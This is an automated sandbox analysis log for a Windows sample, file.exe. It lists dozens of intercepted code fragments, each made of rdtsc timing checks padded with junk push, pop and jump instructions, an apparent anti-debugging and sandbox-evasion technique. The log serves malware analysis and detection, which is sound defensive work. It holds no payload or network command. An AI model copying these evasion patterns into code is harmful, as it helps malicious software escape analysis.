Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F45A6 second address: 9F45B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F1A796F3546h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F45B7 second address: 9F45C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jne 00007F1A796B9BE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBE0F second address: 9FBE34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F1A796F355Ah 0x0000000a jmp 00007F1A796F3554h 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBE34 second address: 9FBE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBE38 second address: 9FBE46 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1A796F3546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FBFF5 second address: 9FBFF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC10E second address: 9FC133 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push edi 0x0000000e jg 00007F1A796F3548h 0x00000014 pop edi 0x00000015 mov eax, dword ptr [eax] 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC133 second address: 9FC142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 jl 00007F1A796B9BECh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC142 second address: 9FC150 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp+04h], eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC150 second address: 9FC155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FC155 second address: 825C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b jp 00007F1A796F354Dh 0x00000011 jnp 00007F1A796F3547h 0x00000017 push dword ptr [ebp+122D07F1h] 0x0000001d jnp 00007F1A796F3561h 0x00000023 call dword ptr [ebp+122D1BC7h] 0x00000029 pushad 0x0000002a jmp 00007F1A796F354Ch 0x0000002f xor eax, eax 0x00000031 mov dword ptr [ebp+122D246Eh], ebx 0x00000037 mov edx, dword ptr [esp+28h] 0x0000003b clc 0x0000003c mov dword ptr [ebp+122D3B1Dh], eax 0x00000042 mov dword ptr [ebp+122D28CCh], eax 0x00000048 mov esi, 0000003Ch 0x0000004d mov dword ptr [ebp+122D28CCh], ecx 0x00000053 jmp 00007F1A796F354Ah 0x00000058 add esi, dword ptr [esp+24h] 0x0000005c jmp 00007F1A796F3550h 0x00000061 lodsw 0x00000063 jnl 00007F1A796F354Ch 0x00000069 add eax, dword ptr [esp+24h] 0x0000006d jns 00007F1A796F354Ch 0x00000073 mov ebx, dword ptr [esp+24h] 0x00000077 pushad 0x00000078 js 00007F1A796F3548h 0x0000007e pushad 0x0000007f popad 0x00000080 and edi, dword ptr [ebp+122D3AB9h] 0x00000086 popad 0x00000087 nop 0x00000088 push eax 0x00000089 push eax 0x0000008a push edx 0x0000008b pushad 0x0000008c popad 0x0000008d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D1A second address: A01D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D20 second address: A01D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D2F second address: A01D82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F1A796B9BE6h 0x00000009 jmp 00007F1A796B9BECh 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 je 00007F1A796B9BE6h 0x00000016 popad 0x00000017 jmp 00007F1A796B9BF5h 0x0000001c pop edx 0x0000001d pop eax 0x0000001e pushad 0x0000001f jmp 00007F1A796B9BF5h 0x00000024 push eax 0x00000025 push edx 0x00000026 jnp 00007F1A796B9BE6h 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D82 second address: A01D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D86 second address: A01D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01D8F second address: A01DA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F1A796F3546h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01DA0 second address: A01DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A01DA4 second address: A01DA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02170 second address: A02177 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A022C3 second address: A022C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02410 second address: A02414 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02414 second address: A0241A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A093AC second address: A093B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07C95 second address: A07CB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796F3557h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CB3 second address: A07CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BEAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CC1 second address: A07CD3 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F1A796F3546h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CD3 second address: A07CF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F1A796B9BE6h 0x0000000a jmp 00007F1A796B9BF7h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A07CF9 second address: A07CFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D32D9 second address: 9D32DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08808 second address: A08821 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F1A796F3546h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08821 second address: A08825 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08825 second address: A0882B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08961 second address: A0896E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jl 00007F1A796B9BECh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0896E second address: A08972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08972 second address: A0897A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08AF3 second address: A08B1E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1A796F354Ah 0x00000008 jmp 00007F1A796F3557h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08CC3 second address: A08CE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F1A796B9BF8h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A08CE6 second address: A08CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0919C second address: A091A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A091A0 second address: A091A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A091A4 second address: A091B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A091B1 second address: A091B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A091B5 second address: A091F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BEBh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F1A796B9BF4h 0x00000011 jmp 00007F1A796B9BF5h 0x00000016 popad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A091F4 second address: A091FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0DCC6 second address: A0DCFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007F1A796B9BF9h 0x0000000a pushad 0x0000000b jo 00007F1A796B9BE6h 0x00000011 jo 00007F1A796B9BE6h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a pushad 0x0000001b jo 00007F1A796B9BE6h 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CB7E second address: A0CB94 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F1A796F354Ch 0x00000010 jns 00007F1A796F3546h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CB94 second address: A0CBB5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF9h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D86CE second address: 9D86D3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D89DE second address: 9D89E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D89E2 second address: 9D89E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D89E8 second address: 9D89EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D89EE second address: 9D89F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8C9B second address: 9D8CC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796B9BF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1A796B9BF0h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8D17 second address: 9D8D68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F1A796F354Ah 0x0000000d push esi 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop esi 0x00000011 xchg eax, esi 0x00000012 js 00007F1A796F3566h 0x00000018 call 00007F1A796F3559h 0x0000001d or dword ptr [ebp+12451200h], edx 0x00000023 pop edx 0x00000024 nop 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushad 0x00000029 popad 0x0000002a jmp 00007F1A796F3552h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8D68 second address: 9D8D82 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8D82 second address: 9D8D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8F85 second address: 9D8F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D8F89 second address: 9D8F8F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9074 second address: 9D9082 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9082 second address: 9D9088 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D93BE second address: 9D93D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1A796B9BF3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D93D5 second address: 9D93D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D96AA second address: 9D9708 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1A796B9BF7h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f cmc 0x00000010 lea eax, dword ptr [ebp+12486208h] 0x00000016 jg 00007F1A796B9BEBh 0x0000001c call 00007F1A796B9BF9h 0x00000021 sub dword ptr [ebp+12462EE6h], esi 0x00000027 pop edx 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jo 00007F1A796B9BE6h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9708 second address: 9D971F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3553h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CE88 second address: A0CE96 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F1A796B9BE6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CE96 second address: A0CEAC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F1A796F354Ah 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0CFFD second address: A0D010 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edi 0x0000000a je 00007F1A796B9BE6h 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D195 second address: A0D1A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D1A5 second address: A0D1B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D479 second address: A0D49E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796F3554h 0x00000009 popad 0x0000000a push esi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jbe 00007F1A796F3546h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D707 second address: A0D718 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F1A796B9BE6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D890 second address: A0D8A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F354Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D8A9 second address: A0D8B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D8B1 second address: A0D8B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0D8B7 second address: A0D8BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1703E second address: A17042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15C92 second address: A15CAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796B9BECh 0x00000009 popad 0x0000000a push esi 0x0000000b jbe 00007F1A796B9BE6h 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15CAF second address: A15CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15CB3 second address: A15CE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F1A796B9BE6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F1A796B9BF8h 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jne 00007F1A796B9BE6h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15CE3 second address: A15D08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1A796F3558h 0x00000007 jnl 00007F1A796F3546h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15F97 second address: A15F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15F9B second address: A15FD3 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F1A796F3546h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b ja 00007F1A796F3546h 0x00000011 jbe 00007F1A796F3546h 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f pop eax 0x00000020 jmp 00007F1A796F354Ah 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 jmp 00007F1A796F354Bh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1642C second address: A16432 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A159C4 second address: A159C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A159C8 second address: A159D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A159D1 second address: A159E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1A796F354Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A159E4 second address: A159E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A159E9 second address: A15A01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F1A796F3552h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15A01 second address: A15A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F1A796B9BFAh 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pushad 0x00000015 jnl 00007F1A796B9BE6h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1673E second address: A16747 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
